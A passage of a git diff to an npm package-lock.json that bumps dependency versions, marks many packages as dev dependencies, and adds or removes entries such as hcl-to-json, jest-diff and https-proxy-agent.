"sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==" + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "dev": true }, "gunzip-maybe": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/gunzip-maybe/-/gunzip-maybe-1.4.2.tgz", "integrity": "sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==", + "dev": true, "requires": { "browserify-zlib": "^0.1.4", "is-deflate": "^1.0.0", @@ -6554,21 +9468,6 @@ "peek-stream": "^1.1.0", "pumpify": "^1.3.3", "through2": "^2.0.3" - }, - "dependencies": { - "browserify-zlib": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", - "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", - "requires": { - "pako": "~0.2.0" - } - }, - "pako": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", - "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=" - } } }, "handle-thing": { @@ -6603,6 +9502,7 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, "requires": { "function-bind": "^1.1.1" } @@ -6616,6 +9516,12 @@ "ansi-regex": "^2.0.0" } }, + "has-bigints": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", + "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", + "dev": true + }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", @@ -6624,7 +9530,8 @@ "has-symbols": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", - "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==" + "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", + "dev": true }, "has-unicode": { "version": "2.0.1", @@ -6667,7 +9574,8 @@ "has-yarn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz", - "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==" + "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==", + "dev": true }, "hash-base": { "version": "3.1.0", @@ -6709,6 +9617,34 @@ "minimalistic-assert": "^1.0.1" } }, + "hcl-to-json": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/hcl-to-json/-/hcl-to-json-0.1.1.tgz", + "integrity": "sha512-sj1RPsdgX/ilBGZGnyjbSHQbRe20hyA6VDXYBGJedHSCdwSWkr/7tr85N7FGeM7KvBjIQX7Gl897bo0Ug73Z/A==", + "dev": true, + "requires": { + "debug": "^3.0.1", + "lodash.get": "^4.4.2", + "lodash.set": "^4.3.2" + }, + "dependencies": { + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "requires": { + "ms": "^2.1.1" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + } + } + }, "he": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", @@ -6759,7 +9695,8 @@ "hosted-git-info": { "version": "2.8.8", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", - "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==" + "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", + "dev": true }, "hpack.js": { "version": "2.1.6", @@ -6904,7 +9841,8 @@ "http-cache-semantics": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", - "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==", + "dev": true }, "http-deceiver": { "version": "1.2.7", @@ -6916,6 +9854,7 @@ "version": "1.7.2", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "dev": true, "requires": { "depd": "~1.1.2", "inherits": "2.0.3", @@ -6927,7 +9866,8 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true } } }, @@ -6942,25 +9882,6 @@ "requires-port": "^1.0.0" } }, - "http-proxy-agent": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-2.1.0.tgz", - "integrity": "sha512-qwHbBLV7WviBl0rQsOzH6o5lwyOIvwp/BdFnvVxXORldu5TmjFfjzBcWUWS5kWAZhmv+JtiDhSuQCp4sBfbIgg==", - "requires": { - "agent-base": "4", - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "requires": { - "ms": "2.0.0" - } - } - } - }, "http-proxy-middleware": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz", @@ -6985,19 +9906,13 @@ } }, "http2-wrapper": { - "version": "1.0.0-beta.5.2", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.0-beta.5.2.tgz", - "integrity": "sha512-xYz9goEyBnC8XwXDTuC/MZ6t+MrKVQZOk4s7+PaDkwIsQd8IwqvM+0M6bA/2lvG8GHXcPdf+MejTUeO2LCPCeQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dev": true, "requires": { "quick-lru": "^5.1.1", "resolve-alpn": "^1.0.0" - }, - "dependencies": { - "quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" - } } }, "https-browserify": { @@ -7006,30 +9921,6 @@ "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", "dev": true }, - "https-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-3.0.1.tgz", - "integrity": "sha512-+ML2Rbh6DAuee7d07tYGEKOEi2voWPUGan+ExdPbPW6Z3svq+JCqr0v8WmKPOkz1vOVykPCBSuobe7G8GJUtVg==", - "requires": { - "agent-base": "^4.3.0", - "debug": "^3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - } - } - }, "iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", @@ -7067,7 +9958,8 @@ "immediate": { "version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=" + "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=", + "dev": true }, "import-fresh": { "version": "3.2.1", @@ -7079,9 +9971,9 @@ } }, "import-lazy": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", - "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", + "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=", "dev": true }, "import-local": { @@ -7097,7 +9989,8 @@ "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=" + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true }, "in-publish": { "version": "2.0.1", @@ -7130,6 +10023,7 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -7138,12 +10032,14 @@ "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true }, "ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==" + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.7.tgz", + "integrity": "sha512-iKpRpXP+CrP2jyrxvg1kMUpXDyRUFDWurxbnVT1vQPx+Wz9uCYsMIqYuSBLV+PAaZG/d7kRLKRFc9oDMsH+mFQ==", + "dev": true }, "inquirer": { "version": "7.1.0", @@ -7267,20 +10163,20 @@ } }, "internal-slot": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.2.tgz", - "integrity": "sha512-2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", "dev": true, "requires": { - "es-abstract": "^1.17.0-next.1", + "get-intrinsic": "^1.1.0", "has": "^1.0.3", - "side-channel": "^1.0.2" + "side-channel": "^1.0.4" } }, "interpret": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.2.0.tgz", - "integrity": "sha512-mT34yGKMNceBQUoVn7iCDKDntA7SC6gycMAWzGx1z/CMCTV7b2AAtXlo3nRyHZ1FelRkQbQjprHSYGwzLtkVbw==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", "dev": true }, "invariant": { @@ -7291,16 +10187,11 @@ "loose-envify": "^1.0.0" } }, - "invert-kv": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", - "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", - "dev": true - }, "ip": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=" + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "dev": true }, "ip-regex": { "version": "2.1.0", @@ -7317,7 +10208,8 @@ "is": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/is/-/is-3.3.0.tgz", - "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==" + "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==", + "dev": true }, "is-absolute-url": { "version": "3.0.3", @@ -7351,12 +10243,6 @@ "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", "dev": true }, - "is-alphanumeric": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-alphanumeric/-/is-alphanumeric-1.0.0.tgz", - "integrity": "sha1-Spzvcdr0wAHB2B1j0UDPU/1oifQ=", - "dev": true - }, "is-alphanumerical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", @@ -7378,6 +10264,12 @@ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, + "is-bigint": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.1.tgz", + "integrity": "sha512-J0ELF4yHFxHy0cmSxZuheDOz2luOdVvqjwmEcj8H/L1JHeuEDSDbeRP+Dk9kFVk5RTFzbucJ2Kb9F7ixY2QaCg==", + "dev": true + }, "is-binary-path": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", @@ -7387,6 +10279,15 @@ "binary-extensions": "^1.0.0" } }, + "is-boolean-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.0.tgz", + "integrity": "sha512-a7Uprx8UtD+HWdyYwnD1+ExtTgqQtD2k/1yJgtXP6wnMm8byhkoTZRl+95LLThpzNZJ5aEvi46cdH+ayMFRwmA==", + "dev": true, + "requires": { + "call-bind": "^1.0.0" + } + }, "is-buffer": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", @@ -7396,16 +10297,27 @@ "is-callable": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.5.tgz", - "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==" + "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==", + "dev": true }, "is-ci": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", + "dev": true, "requires": { "ci-info": "^2.0.0" } }, + "is-core-module": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.2.0.tgz", + "integrity": "sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, "is-data-descriptor": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", @@ -7441,7 +10353,8 @@ "is-deflate": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-deflate/-/is-deflate-1.0.0.tgz", - "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=" + "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=", + "dev": true }, "is-descriptor": { "version": "0.1.6", @@ -7463,9 +10376,10 @@ } }, "is-docker": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.1.1.tgz", - "integrity": "sha512-ZOoqiXfEwtGknTiuDEy8pN2CfE3TxMHprvNer1mXiqwkOT77Rw3YVrUQ52EqAOU3QAWDQ+bQdx7HJzrv7LS2Hw==" + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true }, "is-extendable": { "version": "0.1.1", @@ -7476,7 +10390,8 @@ "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true }, "is-finite": { "version": "1.1.0", @@ -7488,6 +10403,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -7496,6 +10412,7 @@ "version": "4.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, "requires": { "is-extglob": "^2.1.1" } @@ -7503,7 +10420,8 @@ "is-gzip": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-gzip/-/is-gzip-1.0.0.tgz", - "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=" + "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=", + "dev": true }, "is-hexadecimal": { "version": "1.0.4", @@ -7515,22 +10433,37 @@ "version": "0.3.2", "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.3.2.tgz", "integrity": "sha512-wZ8x1js7Ia0kecP/CHM/3ABkAmujX7WPvQk6uu3Fly/Mk44pySulQpnHG46OMjHGXApINnV4QhY3SWnECO2z5g==", + "dev": true, "requires": { "global-dirs": "^2.0.1", "is-path-inside": "^3.0.1" }, "dependencies": { "is-path-inside": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.2.tgz", - "integrity": "sha512-/2UGPSgmtqwo1ktx8NDHjuPwZWmHhO+gj0f93EkhLB5RgW9RZevWYYlIkS6zePc6U2WpOdQYIwHe9YC4DWEBVg==" + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true } } }, + "is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true + }, + "is-negative-zero": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", + "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", + "dev": true + }, "is-npm": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-4.0.0.tgz", - "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==" + "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==", + "dev": true }, "is-number": { "version": "3.0.0", @@ -7552,10 +10485,17 @@ } } }, + "is-number-object": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.4.tgz", + "integrity": "sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==", + "dev": true + }, "is-obj": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", - "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", + "dev": true }, "is-path-cwd": { "version": "2.2.0", @@ -7634,7 +10574,14 @@ "is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true }, "is-utf8": { "version": "0.2.1", @@ -7642,24 +10589,12 @@ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", "dev": true }, - "is-whitespace-character": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz", - "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w==", - "dev": true - }, "is-windows": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", "dev": true }, - "is-word-character": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz", - "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA==", - "dev": true - }, "is-wsl": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", @@ -7669,17 +10604,20 @@ "is-yarn-global": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz", - "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==" + "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==", + "dev": true }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true }, "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true }, "isobject": { "version": "3.0.1", @@ -7702,6 +10640,67 @@ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", "dev": true }, + "jest-diff": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", + "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==", + "requires": { + "chalk": "^4.0.0", + "diff-sequences": "^26.6.2", + "jest-get-type": "^26.3.0", + "pretty-format": "^26.6.2" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": 